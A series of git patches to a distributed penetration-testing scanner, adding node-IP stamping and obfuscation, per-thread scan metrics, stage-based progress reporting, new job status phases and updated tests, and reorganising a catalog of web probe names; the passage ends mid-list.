report --- .../cybersec/red_mesh/models/archive.py | 2 ++ .../cybersec/red_mesh/pentester_api_01.py | 24 +++++++++++++++++-- .../red_mesh/redmesh_llm_agent_mixin.py | 8 +++---- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 22533e14..dea346f2 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -95,6 +95,7 @@ class WorkerReportMeta: ports_scanned: int = 0 open_ports: list = None # [int] nr_findings: int = 0 + node_ip: str = "" # worker node's IP address def to_dict(self) -> dict: d = asdict(self) @@ -111,6 +112,7 @@ def from_dict(cls, d: dict) -> WorkerReportMeta: ports_scanned=d.get("ports_scanned", 0), open_ports=d.get("open_ports", []), nr_findings=d.get("nr_findings", 0), + node_ip=d.get("node_ip", ""), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index eb548f16..49621e28 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -344,7 +344,7 @@ def _attestation_pack_node_hashes(self, workers: dict) -> str: return digest return "0x" + str(digest) - def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): + def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") if not self.cfg_attestation_enabled: self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') @@ -396,6 +396,12 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers tx_private_key=tenant_private_key, ) + # Obfuscate node IPs for attestation metadata + obfuscated_node_ips = [] + if node_ips: + for ip in node_ips: + obfuscated_node_ips.append(self._attestation_pack_ip_obfuscated(ip)) + result = { "job_id": job_id, "tx_hash": tx_hash, @@ -405,6 +411,7 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers "execution_id": execution_id, "report_cid": report_cid, "node_eth_address": node_eth_address, + "node_ips_obfuscated": obfuscated_node_ips, } self.P( "Submitted RedMesh test attestation for " @@ -1157,6 +1164,12 @@ def _close_job(self, job_id, canceled=False): # Save full report to R1FS and store only CID in CStore if report: + # Stamp report with this node's public IP (from location_data) for UI display + location_data = self.global_shmem.get('location_data') or {} + public_ip = location_data.get('ip') + report["node_ip"] = public_ip or self.log.get_localhost_ip() + self.P(f"[CLOSE_JOB] Stamped node_ip={report['node_ip']} on report for job {job_id} (source={'location_data' if public_ip else 'localhost'})") + # Redact credentials before persisting job_config = self._get_job_config(job_specs) redact = job_config.get("redact_credentials", True) @@ -1879,6 +1892,7 @@ def _maybe_finalize_pass(self): ports_scanned=report.get("ports_scanned", 0), open_ports=report.get("open_ports", []), nr_findings=nr_findings, + node_ip=report.get("node_ip", ""), ).to_dict() # 6. STORE aggregated report as separate CID @@ -1907,11 +1921,17 @@ def _maybe_finalize_pass(self): if should_submit_attestation: try: + # Collect node IPs from worker reports for attestation + attestation_node_ips = [ + r.get("node_ip") for r in node_reports.values() + if r.get("node_ip") + ] redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, job_specs=job_specs, workers=workers, - vulnerability_score=risk_score + vulnerability_score=risk_score, + node_ips=attestation_node_ips, ) if redmesh_test_attestation is not None: job_specs["last_attestation_at"] = now_ts diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 2dbe2578..15634ee3 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -266,8 +266,8 @@ def _run_aggregated_llm_analysis( self.P(f"No data to analyze for job {job_id}", color='y') return None - # Add job metadata to report for context - report_with_meta = dict(aggregated_report) + # Add job metadata to report for context (strip node_ip — never send to LLM) + report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, @@ -325,8 +325,8 @@ def _run_quick_summary_analysis( self.P(f"No data for quick summary for job {job_id}", color='y') return None - # Add job metadata to report for context - report_with_meta = dict(aggregated_report) + # Add job metadata to report for context (strip node_ip — never send to LLM) + report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, From de4076514b5313519b0ad5aced30e6fbb2884c71 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 20:15:44 +0000 Subject: [PATCH 37/42] feat: display thread-level ports info and stats --- .../cybersec/red_mesh/models/archive.py | 4 ++ .../cybersec/red_mesh/pentester_api_01.py | 46 +++++++++++++++---- .../cybersec/red_mesh/test_redmesh.py | 2 +- 3 files changed, 41 insertions(+), 11 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index dea346f2..feb88961 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -150,6 +150,9 @@ class PassReport: # Scan metrics (pass-level aggregate across all nodes) scan_metrics: dict = None # ScanMetrics.to_dict() + # Per-node scan metrics (node_address -> ScanMetrics.to_dict()) + worker_scan_metrics: dict = None + # Attestation redmesh_test_attestation: dict = None @@ -172,6 +175,7 @@ def from_dict(cls, d: dict) -> PassReport: llm_failed=d.get("llm_failed"), findings=d.get("findings"), scan_metrics=d.get("scan_metrics"), + worker_scan_metrics=d.get("worker_scan_metrics"), redmesh_test_attestation=d.get("redmesh_test_attestation"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 49621e28..ce5b3cff 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1152,6 +1152,22 @@ def _close_job(self, job_id, canceled=False): thread_metrics[0] if len(thread_metrics) == 1 else self._merge_worker_metrics(thread_metrics) ) + # Store per-thread metrics with port info for UI drill-down + thread_scan_metrics = {} + for lwid, lr in local_reports.items(): + if lr.get("scan_metrics"): + entry = { + "scan_metrics": lr["scan_metrics"], + "ports_scanned": lr.get("ports_scanned", 0), + "open_ports": lr.get("open_ports", []), + } + # For sequential port order, start/end form a contiguous range + if lr.get("start_port") is not None and lr.get("end_port") is not None: + entry["start_port"] = lr["start_port"] + entry["end_port"] = lr["end_port"] + thread_scan_metrics[lwid] = entry + if thread_scan_metrics: + report["thread_scan_metrics"] = thread_scan_metrics raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') @@ -1945,8 +1961,16 @@ def _maybe_finalize_pass(self): color='r' ) - # 8. MERGE SCAN METRICS across nodes - node_metrics = [r.get("scan_metrics") for r in node_reports.values() if r.get("scan_metrics")] + # 8. MERGE SCAN METRICS across nodes + store per-node/per-thread metrics + worker_scan_metrics = {} + for addr, report in node_reports.items(): + if report.get("scan_metrics"): + entry = {"scan_metrics": report["scan_metrics"]} + # Attach per-thread breakdown if available + if report.get("thread_scan_metrics"): + entry["threads"] = report["thread_scan_metrics"] + worker_scan_metrics[addr] = entry + node_metrics = [e["scan_metrics"] for e in worker_scan_metrics.values()] pass_metrics = None if node_metrics: pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) @@ -1966,6 +1990,7 @@ def _maybe_finalize_pass(self): llm_failed=llm_failed, findings=flat_findings if flat_findings else None, scan_metrics=pass_metrics, + worker_scan_metrics=worker_scan_metrics if worker_scan_metrics else None, redmesh_test_attestation=redmesh_test_attestation, ) @@ -3321,15 +3346,17 @@ def _merge_worker_metrics(metrics_list): probe_bd[k] = v if probe_bd: merged["probe_breakdown"] = probe_bd - # Max total_duration + # Total duration: max across threads/nodes (they run in parallel) merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) - # Phase durations: max per phase (parallel threads, longest wins) - phase_durs = {} + # Phase durations: max per phase (threads/nodes run in parallel, so wall-clock + # time for each phase is the max across all of them) + all_phases = {} for m in metrics_list: - for k, v in (m.get("phase_durations") or {}).items(): - phase_durs[k] = max(phase_durs.get(k, 0), v) - if phase_durs: - merged["phase_durations"] = phase_durs + for phase, dur in (m.get("phase_durations") or {}).items(): + all_phases[phase] = max(all_phases.get(phase, 0), dur) + if all_phases: + merged["phase_durations"] = all_phases + longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) # Merge stats distributions (response_times, port_scan_delays) # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values for stats_field in ("response_times", "port_scan_delays"): @@ -3348,7 +3375,6 @@ def _merge_worker_metrics(metrics_list): "count": total_count, } # Success rate over time: take from the longest-running thread - longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) if longest.get("success_rate_over_time"): merged["success_rate_over_time"] = longest["success_rate_over_time"] # Detection flags (any thread detecting = True) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 69f5d22b..e807b107 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4406,7 +4406,7 @@ def test_merge_worker_metrics(self): self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed - # Phase durations: max per phase + # Phase durations: max per phase (threads/nodes run in parallel) self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) From 1a17749f22d5c8859eb5c238a0786862cf7bc3b3 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 10:41:04 +0000 Subject: [PATCH 38/42] fix: increase job check timeout --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index ce5b3cff..c744a167 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -18,7 +18,7 @@ "INSTANCES": [ { "INSTANCE_ID": "PENTESTER_API_01_DEFAULT", - "CHECK_JOBS_EACH": 5, + "CHECK_JOBS_EACH": 15, "NR_LOCAL_WORKERS": 4, "WARMUP_DELAY": 30 } @@ -79,7 +79,7 @@ "CHAINSTORE_PEERS": [], - "CHECK_JOBS_EACH" : 5, + "CHECK_JOBS_EACH" : 15, "REDMESH_VERBOSE" : 10, # Verbosity level for debug messages (0 = off, 1+ = debug) @@ -654,7 +654,7 @@ def _get_worker_entry(self, job_id, job_spec): """ workers = job_spec.setdefault("workers", {}) worker_entry = workers.get(self.ee_addr) - if worker_entry is None and job_id not in self._foreign_jobs_logged: + if worker_entry is None and workers and job_id not in self._foreign_jobs_logged: self._foreign_jobs_logged.add(job_id) self.Pd("No worker entry found for this node in job spec job_id={}, workers={}".format( job_id, From 6bb084bd5977ad157a8e7705c1cdb3de7ba6e096 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 12:44:14 +0000 Subject: [PATCH 39/42] feat: improve per-worker progress loader. Display per-thread status --- .../business/cybersec/red_mesh/constants.py | 14 +- .../cybersec/red_mesh/models/archive.py | 2 +- .../cybersec/red_mesh/models/cstore.py | 4 +- .../cybersec/red_mesh/pentester_api_01.py | 141 ++++++++++++++---- .../cybersec/red_mesh/test_redmesh.py | 71 ++++++++- 5 files changed, 195 insertions(+), 37 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 8cc7c22e..a9c6eec2 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -105,6 +105,9 @@ # Job status constants JOB_STATUS_RUNNING = "RUNNING" +JOB_STATUS_COLLECTING = "COLLECTING" # Launcher merging worker reports +JOB_STATUS_ANALYZING = "ANALYZING" # Running LLM analysis +JOB_STATUS_FINALIZING = "FINALIZING" # Computing risk, writing archive JOB_STATUS_SCHEDULED_FOR_STOP = "SCHEDULED_FOR_STOP" JOB_STATUS_STOPPED = "STOPPED" JOB_STATUS_FINALIZED = "FINALIZED" @@ -235,4 +238,13 @@ # Live progress publishing # ===================================================================== -PROGRESS_PUBLISH_INTERVAL = 20 # seconds between progress updates to CStore +PROGRESS_PUBLISH_INTERVAL = 10 # seconds between progress updates to CStore + +# Scan phases in execution order (5 phases total) +PHASE_ORDER = ["port_scan", "fingerprint", "service_probes", "web_tests", "correlation"] +PHASE_MARKERS = { + "fingerprint": "fingerprint_completed", + "service_probes": "service_info_completed", + "web_tests": "web_tests_completed", + "correlation": "correlation_completed", +} diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index feb88961..2aa77402 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -191,7 +191,7 @@ class UiAggregate: total_open_ports: list # sorted unique [int] total_services: int total_findings: int - latest_risk_score: float + latest_risk_score: float = None # None while scan is in progress latest_risk_breakdown: dict = None # RiskBreakdown.to_dict() latest_quick_summary: str = None findings_count: dict = None # { CRITICAL: int, HIGH: int, MEDIUM: int, LOW: int, INFO: int } diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index d4fa6a44..fe17c87e 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -178,7 +178,7 @@ class WorkerProgress: job_id: str worker_addr: str pass_nr: int - progress: float # 0.0 - 100.0 + progress: float # 0.0 - 100.0 (stage-based: completed_stages/total * 100) phase: str # port_scan | fingerprint | service_probes | web_tests | correlation ports_scanned: int ports_total: int @@ -186,6 +186,7 @@ class WorkerProgress: completed_tests: list # [str] — which probes finished updated_at: float # unix timestamp live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in + threads: dict = None # {thread_id: {phase, ports_scanned, ports_total, open_ports_found}} def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -204,4 +205,5 @@ def from_dict(cls, d: dict) -> WorkerProgress: completed_tests=d.get("completed_tests", []), updated_at=d.get("updated_at", 0), live_metrics=d.get("live_metrics"), + threads=d.get("threads"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c744a167..735857ff 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -45,6 +45,9 @@ from .constants import ( FEATURE_CATALOG, JOB_STATUS_RUNNING, + JOB_STATUS_COLLECTING, + JOB_STATUS_ANALYZING, + JOB_STATUS_FINALIZING, JOB_STATUS_SCHEDULED_FOR_STOP, JOB_STATUS_STOPPED, JOB_STATUS_FINALIZED, @@ -66,10 +69,26 @@ LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, PROGRESS_PUBLISH_INTERVAL, + PHASE_ORDER, + PHASE_MARKERS, ) __VER__ = '0.9.0' + +def _thread_phase(state): + """Determine which phase a single thread is currently in.""" + tests = set(state.get("completed_tests", [])) + if "correlation_completed" in tests: + return "done" + if "web_tests_completed" in tests: + return "correlation" + if "service_info_completed" in tests: + return "web_tests" + if "fingerprint_completed" in tests: + return "service_probes" + return "port_scan" + _CONFIG = { **BasePlugin.CONFIG, @@ -1137,6 +1156,36 @@ def _close_job(self, job_id, canceled=False): ------- None """ + # Publish a final "done" progress so the UI doesn't show stale stage data + local_workers_pre = self.scan_jobs.get(job_id) + if local_workers_pre: + total_scanned = 0 + total_ports = 0 + all_open = set() + for w in local_workers_pre.values(): + total_scanned += len(w.state.get("ports_scanned", [])) + total_ports += len(w.initial_ports) + all_open.update(w.state.get("open_ports", [])) + job_specs_pre = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 + done_progress = WorkerProgress( + job_id=job_id, + worker_addr=self.ee_addr, + pass_nr=pass_nr, + progress=100.0, + phase="done", + ports_scanned=total_scanned, + ports_total=total_ports, + open_ports_found=sorted(all_open), + completed_tests=[], + updated_at=self.time(), + ) + self.chainstore_hset( + hkey=f"{self.cfg_instance_id}:live", + key=f"{job_id}:{self.ee_addr}", + value=done_progress.to_dict(), + ) + local_workers = self.scan_jobs.pop(job_id, None) if local_workers: local_reports = { @@ -1673,7 +1722,7 @@ def _compute_ui_aggregate(self, passes, latest_aggregated): findings_count=findings_count if findings_count else None, top_findings=top_findings if top_findings else None, finding_timeline=finding_timeline if finding_timeline else None, - latest_risk_score=latest.get("risk_score", 0), + latest_risk_score=latest.get("risk_score"), latest_risk_breakdown=latest.get("risk_breakdown"), latest_quick_summary=latest.get("quick_summary"), worker_activity=[ @@ -1836,7 +1885,7 @@ def _maybe_finalize_pass(self): job_id = job_specs.get("job_id") pass_reports = job_specs.setdefault("pass_reports", []) - # Skip jobs that are already finalized or stopped + # Skip jobs that are already finalized, stopped, or mid-finalization if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry # But only if there are pass reports to build from (hard-stopped jobs @@ -1845,6 +1894,8 @@ def _maybe_finalize_pass(self): self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') self._build_job_archive(job_id, job_specs) continue + if job_status in (JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, JOB_STATUS_FINALIZING): + continue if all_finished and next_pass_at is None: # ═══════════════════════════════════════════════════ @@ -1854,6 +1905,10 @@ def _maybe_finalize_pass(self): pass_date_completed = self.time() now_ts = pass_date_completed + # --- COLLECTING: merge worker reports --- + job_specs["job_status"] = JOB_STATUS_COLLECTING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge node_reports = self._collect_node_reports(workers) aggregated = self._get_aggregated_report(node_reports) if node_reports else {} @@ -1868,11 +1923,13 @@ def _maybe_finalize_pass(self): job_specs["risk_score"] = risk_score self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") - # 3. LLM ANALYSIS (receives pre-aggregated data, no re-fetch) + # --- ANALYZING: LLM analysis --- job_config = self._get_job_config(job_specs) llm_text = None summary_text = None if self.cfg_llm_agent_api_enabled and aggregated: + job_specs["job_status"] = JOB_STATUS_ANALYZING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) @@ -2003,6 +2060,10 @@ def _maybe_finalize_pass(self): # 11. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) + # --- FINALIZING: writing archive --- + job_specs["job_status"] = JOB_STATUS_FINALIZING + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == RUN_MODE_SINGLEPASS: job_specs["job_status"] = JOB_STATUS_FINALIZED @@ -2693,7 +2754,12 @@ def get_job_progress(self, job_id: str): if key.startswith(prefix) and value is not None: worker_addr = key[len(prefix):] result[worker_addr] = value - return {"job_id": job_id, "workers": result} + # Include job status so the frontend knows when to reload full data + job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + status = None + if isinstance(job_specs, dict): + status = job_specs.get("status") + return {"job_id": job_id, "status": status, "workers": result} @BasePlugin.endpoint def list_network_jobs(self): @@ -3399,10 +3465,14 @@ def _merge_worker_metrics(metrics_list): def _publish_live_progress(self): """ - Publish aggregated live progress for all active local scan jobs. + Publish live progress for all active local scan jobs. + + Builds per-thread progress data and writes a single WorkerProgress entry + per job to the `:live` CStore hset. Called periodically from process(). - Aggregates thread-level stats into one WorkerProgress entry per job - and writes to the `:live` CStore hset. Called periodically from process(). + Progress is stage-based (stage_idx / 5 * 100) with port-scan sub-progress. + Phase is the earliest (least advanced) phase across all threads. + Per-thread data (phase, ports) is included when multiple threads are active. """ now = self.time() if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: @@ -3412,39 +3482,53 @@ def _publish_live_progress(self): live_hkey = f"{self.cfg_instance_id}:live" ee_addr = self.ee_addr + nr_phases = len(PHASE_ORDER) + for job_id, local_workers in self.scan_jobs.items(): if not local_workers: continue - # Aggregate across all local threads + # Build per-thread data total_scanned = 0 total_ports = 0 all_open = set() all_tests = set() - all_done = True - + thread_entries = {} + thread_phases = [] worker_metrics = [] - for worker in local_workers.values(): + + for tid, worker in local_workers.items(): state = worker.state - total_scanned += len(state.get("ports_scanned", [])) - total_ports += len(worker.initial_ports) - all_open.update(state.get("open_ports", [])) + nr_ports = len(worker.initial_ports) + t_scanned = len(state.get("ports_scanned", [])) + t_open = sorted(state.get("open_ports", [])) + t_phase = _thread_phase(state) + + total_scanned += t_scanned + total_ports += nr_ports + all_open.update(t_open) all_tests.update(state.get("completed_tests", [])) - if not state.get("done"): - all_done = False worker_metrics.append(worker.metrics.build().to_dict()) + thread_phases.append(t_phase) - # Determine current phase from completed_tests - if "correlation_completed" in all_tests: - phase = "done" - elif "web_tests_completed" in all_tests: - phase = "correlation" - elif "service_info_completed" in all_tests: - phase = "web_tests" - elif "fingerprint_completed" in all_tests: - phase = "service_probes" - else: - phase = "port_scan" + thread_entries[tid] = { + "phase": t_phase, + "ports_scanned": t_scanned, + "ports_total": nr_ports, + "open_ports_found": t_open, + } + + # Overall phase: earliest (least advanced) across threads + phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] + min_phase_idx = min(phase_indices) if phase_indices else 0 + phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" + + # Stage-based progress: completed_stages / total * 100 + # During port_scan, add sub-progress based on ports scanned + stage_progress = (min_phase_idx / nr_phases) * 100 + if phase == "port_scan" and total_ports > 0: + stage_progress += (total_scanned / total_ports) * (100 / nr_phases) + progress_pct = round(min(stage_progress, 100), 1) # Look up pass number from CStore job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) @@ -3459,7 +3543,7 @@ def _publish_live_progress(self): job_id=job_id, worker_addr=ee_addr, pass_nr=pass_nr, - progress=round((total_scanned / total_ports) * 100, 1) if total_ports else 0, + progress=progress_pct, phase=phase, ports_scanned=total_scanned, ports_total=total_ports, @@ -3467,6 +3551,7 @@ def _publish_live_progress(self): completed_tests=sorted(all_tests), updated_at=now, live_metrics=merged_metrics, + threads=thread_entries if len(thread_entries) > 1 else None, ) self.chainstore_hset( hkey=live_hkey, diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index e807b107..4ff4c473 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -2972,8 +2972,12 @@ def test_aggregated_report_write_failure(self): # CStore should NOT have pass_reports appended self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset should NOT have been called for finalization - plugin.chainstore_hset.assert_not_called() + # CStore hset was called for intermediate status updates (COLLECTING, ANALYZING, FINALIZING) + # but NOT for finalization — verify job_status is NOT FINALIZED in the last write + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") def test_pass_report_write_failure(self): """R1FS fails for pass report → CStore pass_reports not appended.""" @@ -2999,8 +3003,11 @@ def test_pass_report_write_failure(self): # CStore should NOT have pass_reports appended self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset should NOT have been called for finalization - plugin.chainstore_hset.assert_not_called() + # CStore hset was called for status updates but NOT for finalization + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") def test_cstore_risk_score_updated(self): """After pass, risk_score on CStore matches pass result.""" @@ -3779,7 +3786,7 @@ def test_get_job_progress_empty(self): self.assertEqual(result["workers"], {}) def test_publish_live_progress(self): - """_publish_live_progress writes progress to CStore :live hset.""" + """_publish_live_progress writes stage-based progress to CStore :live hset.""" Plugin = self._get_plugin_class() plugin = MagicMock() plugin.cfg_instance_id = "test-instance" @@ -3787,7 +3794,7 @@ def test_publish_live_progress(self): plugin._last_progress_publish = 0 plugin.time.return_value = 100.0 - # Mock a local worker with state + # Mock a local worker with state (port scan partial + fingerprint done) worker = MagicMock() worker.state = { "ports_scanned": list(range(100)), @@ -3818,6 +3825,58 @@ def test_publish_live_progress(self): self.assertEqual(progress_data["ports_total"], 512) self.assertIn(22, progress_data["open_ports_found"]) self.assertIn(80, progress_data["open_ports_found"]) + # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% + self.assertEqual(progress_data["progress"], 40.0) + # Single thread — no threads field + self.assertNotIn("threads", progress_data) + + def test_publish_live_progress_multi_thread_phase(self): + """Phase is the earliest active phase; per-thread data is included.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Thread 1: fully done + worker1 = MagicMock() + worker1.state = { + "ports_scanned": list(range(256)), + "open_ports": [22], + "completed_tests": ["fingerprint_completed", "service_info_completed", "web_tests_completed", "correlation_completed"], + "done": True, + } + worker1.initial_ports = list(range(1, 257)) + + # Thread 2: still on port scan (50 of 256 ports) + worker2 = MagicMock() + worker2.state = { + "ports_scanned": list(range(50)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker2.initial_ports = list(range(257, 513)) + + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + call_args = plugin.chainstore_hset.call_args + progress_data = call_args.kwargs["value"] + # Phase should be port_scan (earliest across threads), not done + self.assertEqual(progress_data["phase"], "port_scan") + # Stage-based: port_scan (idx 0) + sub-progress (306/512 * 20%) = ~12% + self.assertGreater(progress_data["progress"], 10) + self.assertLess(progress_data["progress"], 15) + # Per-thread data should be present (2 threads) + self.assertIn("threads", progress_data) + self.assertEqual(progress_data["threads"]["t1"]["phase"], "done") + self.assertEqual(progress_data["threads"]["t2"]["phase"], "port_scan") + self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) + self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" From fd0e08da58e0c2ea34f6aed1ba506743dbcfe834 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 13:43:40 +0000 Subject: [PATCH 40/42] fix: tests classification --- extensions/business/cybersec/red_mesh/constants.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index a9c6eec2..c426cc46 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -55,23 +55,23 @@ { "id": "web_hardening", "label": "Hardening audit", - "description": "Audit cookie flags, security headers, CORS policy, redirect handling, and HTTP methods (OWASP WSTG-CONF).", + "description": "Audit cookie flags, security headers, CORS policy, CSRF tokens, and HTTP methods (OWASP WSTG-CONF).", "category": "web", - "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods", "_web_test_csrf"] + "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_http_methods", "_web_test_csrf"] }, { "id": "web_api_exposure", "label": "API exposure", "description": "Detect GraphQL introspection leaks, cloud metadata endpoints, and API auth bypass (OWASP WSTG-APIT).", "category": "web", - "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass", "_web_test_ssrf_basic"] + "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass"] }, { "id": "web_injection", "label": "Injection probes", - "description": "Non-destructive probes for path traversal, reflected XSS, and SQL injection (OWASP WSTG-INPV).", + "description": "Non-destructive probes for path traversal, reflected XSS, SQL injection, SSRF, and open redirect (OWASP WSTG-INPV).", "category": "web", - "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator"] + "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator", "_web_test_open_redirect", 